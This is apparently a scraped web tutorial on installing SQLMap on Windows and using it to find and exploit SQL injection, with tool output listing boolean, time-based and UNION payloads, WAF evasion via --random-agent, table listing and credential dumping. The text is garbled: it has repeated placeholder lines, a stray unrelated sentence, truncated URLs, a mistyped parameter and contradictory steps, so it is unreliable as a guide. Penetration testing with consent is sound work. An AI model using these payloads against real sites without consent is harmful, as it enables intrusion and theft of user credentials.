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Given	article	text	here	SQL	injection	remains	a	significant	concern	despite	advancements	in	cybersecurity.	Recent	data	breaches	highlight	the	importance	of	addressing	this	vulnerability,	which	hackers	consider	a	goldmine	but	penetration	testers	and	developers	see	as	a	must-do.	The	tool	SQLMap	is	designed	to	detect	and	exploit	vulnerabilities,
identifying	weak	spots	and	extracting	data	from	endpoints.	For	Windows	10	users,	setting	up	SQLMap	requires	the	right	environment	and	Python	installation.	The	latest	version	of	SQLMap	is	optimized	for	Python	3	and	works	with	multiple	versions.	To	install	SQLMap	on	Windows,	first	ensure	your	system	has	Python	installed.	You	can	check	your
Python	version	by	opening	a	command	prompt	or	terminal	and	typing	`python	--version`.	If	you	don't	have	Python,	download	the	latest	version	from	the	official	website.	Once	Python	is	set	up,	access	the	SQLMap	GitHub	repository,	familiarize	yourself	with	its	layout,	and	click	on	the	"Download	ZIP"	option	to	obtain	the	tool.	Note	that	ethical	hacking
requires	permission	to	test	the	target	system.	not	exploiting	SQLMap’s	capabilities	extend	far	beyond	this	guide.	For	a	deeper	dive,	explore	its	official	GitHub	usage	page.	This	guide	has	empowered	you	to	set	up	SQLMap	on	Windows	and	start	your	SQL	Injection	testing	journey	with	confidence.	Remember,	great	power	comes	with	great	responsibility
–	prioritize	ethical	hacking	practices.	Use	SQLMap	to	tackle	and	triumph	over	injection	vulnerabilities.	Visit	BUZZ	for	more	insights,	tutorials,	and	a	community	of	security-aware	developers.	Together,	we	can	make	security	accessible	to	all!	If	you	plan	to	run	SQLmap	on	Windows	with	Python,	ensure	you	have	Python	installed	and	skip	to	the	next	step.
Otherwise,	get	your	Linux	system	up	and	running.	You	can	install	a	Linux	virtual	machine	(Ubuntu	or	Kali	recommended)	on	Windows	(Virtualbox	/	VMware	/	Parrallels)	or	boot	up	your	Linux	desktop.	To	use	SQLMap,	specify	parameters	to	target	specific	parts	of	a	web	application	where	SQL	injection	vulnerabilities	may	exist.	While	it	is	possible	to
run	SQLMap	against	a	URL	directly,	it's	often	more	effective	to	specify	parameters	for	accurate	testing.	A	user	is	using	the	tool	sqlmap	to	test	for	SQL	injection	vulnerabilities	in	an	HTTP	GET	request.	The	tool	is	scanning	the	URL	`	and	analyzing	the	response.	It	appears	that	the	parameter	`id`	is	dynamic,	meaning	it	can	be	manipulated	by	the
attacker.	The	tool	then	runs	a	series	of	tests	to	see	if	the	`id`	parameter	is	vulnerable	to	SQL	injection	attacks.	These	tests	include	checks	for	various	types	of	SQL	injection	vulnerabilities,	such	as	boolean-based	blind	and	error-based	injections.	The	results	show	that	the	`id`	parameter	appears	to	be	injectable	using	a	MySQL	database.	Throughout	the
test	run,	the	tool	provides	detailed	information	about	each	test	it	runs,	including	the	type	of	test,	the	expected	result,	and	any	errors	or	warnings	that	occur.	The	script	is	performing	various	tests	on	a	MySQL	database,	including	error-based	queries	and	UNION	query	injections.	The	testing	reveals	that	several	parameters	can	be	manipulated	to	inject
malicious	code,	including	an	"id"	parameter	in	GET	requests.	Specifically,	the	following	injection	points	were	identified:	*	A	boolean-based	blind	injection	using	AND/HAVING	clause	*	An	AND/OR	time-based	blind	injection	using	MySQL	>=	5.0.12	*	A	UNION	query	injection	with	a	payload	of	"-6630	UNION	ALL	SELECT	NULL,CONCAT(0x...)--"	The
script	also	identifies	that	the	web	application	uses	Nginx	and	PHP	5.3.10	as	its	back-end	technologies.	However,	the	testing	process	was	interrupted	when	the	Web	Application	Firewall	(WAF)	blocked	the	script,	likely	due	to	its	default	user	agent	being	blocked.	To	overcome	this	issue,	it	is	suggested	to	use	a	different	user	agent	with	the	--
randomagent	parameter.	Given	article	text	here	Looking	forward	to	seeing	everyone	at	the	meeting	tomorrow	and	discussing	our	strategies.	python3	sqlmap.py	-u	"	--random-agent	___	__H__	___	___[,]_____	___	___	{1.8.4.5#dev}	|_	-|	.	[.]	|	.'|	.	|	|___|_	[)]_|_|_|__,|	_|	|_|V...	|_|	[*]	legal	disclaimer:	Using	sqlmap	to	attack	targets	without	prior	consent	is
illegal.	It's	the	end	user's	responsibility	to	obey	all	applicable	laws.	Developers	assume	no	liability	and	are	not	responsible	for	any	misuse	or	damage	caused	by	this	program	[*]	starting	@	14:14:04	/2024-03-01/	Retrieve	the	Database	Tables	SQLmap	can	be	used	to	test	and	exploit	SQL	Injection,	doing	things	such	as	extracting	data	from	databases,
updating	tables,	and	even	popping	shells	on	remote	hosts	if	all	conditions	are	met.	Let's	retrieve	the	tables	from	the	database	using	the	SQL	Injection	vulnerability	we	confirmed	earlier.	As	you'll	see	in	the	output	below,	we	can	continue	testing	against	the	target	without	having	to	retest	the	vulnerability.	SQLmap	uses	information	it	knows	about	the
site	to	further	exploit	the	target	database.	To	retrieve	data	simply	add	the	--tables	parameter	to	the	previous	command.	elliot@evilcorp:~/sqlmap-dev$	python	sqlmap.py	-u	'	--tables	___	__H__	___	___[']_____	___	___	{1.8.4.5#dev}	|_	-|	.	[']	|	.'|	.	|	|___|_	["]_|_|_|__,|	_|	|_|V...	|_|	[*]	legal	disclaimer:	Using	sqlmap	to	attack	targets	without	prior	consent	is
illegal.	It's	the	end	user's	responsibility	to	obey	all	applicable	laws.	Developers	assume	no	liability	and	are	not	responsible	for	any	misuse	or	damage	caused	by	this	program	[*]	starting	at	12:59:04	[12:59:04]	[INFO]	resuming	back-end	DBMS	'mysql'	[12:59:04]	[INFO]	testing	connection	to	the	target	URL	sqlmap	resumed	the	following	injection
point(s)	from	stored	session:	---	Parameter:	id	(GET)	Type:	boolean-based	blind	Title:	AND	boolean-based	blind	-	WHERE	or	HAVING	clause	Payload:	id=1	AND	9561=9561	Type:	AND/OR	time-based	blind	Title:	MySQL	>=	5.0.12	AND	time-based	blind	Payload:	id=1	AND	SLEEP(5)	Type:	UNION	query	Title:	Generic	UNION	query	(NULL)	-	3	columns
Payload:	ud=-6630	UNION	ALL	SELECT	NULL,CONCAT(0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x716b767a71),NULL--	mIJj	---	[12:59:05]	[INFO]	the	back-end	DBMS	is	MySQL	web	application	technology:	Nginx,	PHP	5.3.10	back-end	DBMS:	MySQL	>=	5.0.12	Database:
books	[8	tables]	+---------------------------------------+	|	author	|	|	shoppingcarts	|	|	categories	|	|	featured	|	|	guestbook	|	|	pictures	|	|	products	|	|	users	|	+---------------------------------------+	Database:	information_schema	[28	tables]	==	snipped	==	+---------------------------------------+	|	CHARACTER_SETS	|	|	COLLATIONS	|	|
COLLATION_CHARACTER_SET_APPLICABILITY	|	|	COLUMNS	|	|	TRIGGERS	|	|	USER_PRIVILEGES	|	|	VIEWS	|	+---------------------------------------+	[12:59:21]	[INFO]	fetched	data	logged	to	text	files	under	'/home/elliot/.sqlmap/output/mytestsite.com'	[*]	shutting	down	at	12:59:21	Dump	the	data	To	get	data	we	can	add	the	--tables	parameter	to	the	previous
command.	Given	article	text	here	Looking	at	this	article	we	see	that	-T	users	option	allows	focusing	on	users	table	where	credentials	may	be	found.	Adding	--dump	to	sqlmap.py	command	enables	grabbing	all	data	from	the	users	table,	including	columns	enumeration	and	data	dumping.	The	output	of	sqlmap.py	command	displays	information	about
target	URL,	including	injection	points.	It	also	shows	results	of	testing	connection	with	the	database	back-end.	Database	credentials	can	be	obtained	using	SQLmap	tool	for	connecting	directly	to	the	database	without	needing	to	know	SQL	syntax	or	having	a	client	installed.	The	article	concludes	that	SQLmap	is	a	powerful	tool	for	database	exploration
and	exploitation,	providing	various	options	for	advanced	techniques	such	as	popping	shells	on	target	hosts.	To	test	spider	sites,	one	must	also	conduct	HTTP	POST	based	testing.	For	more	examples,	visit	the	excellent	GitHub	wiki	page.	1.	Get	Python	for	Windows	from	Microsoft's	official	website;	note	that	the	default	installation	path	is	"C:\Python".	2.
Unzip	SqlMap.zip.	3.	Identify	where	Python	is	installed	(for	instance,	"C:\Python27").	4.	Create	a	new	folder	inside	the	Python	directory	named	"SqlMap".	5.	Copy	all	files	from	the	extracted	SqlMap	to	the	"C:\Python27\sqlmap"	folder.	6.	Right-click	on	your	desktop	and	create	a	shortcut;	name	it	"Sqlmap".	7.	Right-click	the	newly	created	"Sqlmap"
shortcut	and	modify	its	target	to	"%windir%\system32\cmd.exe".
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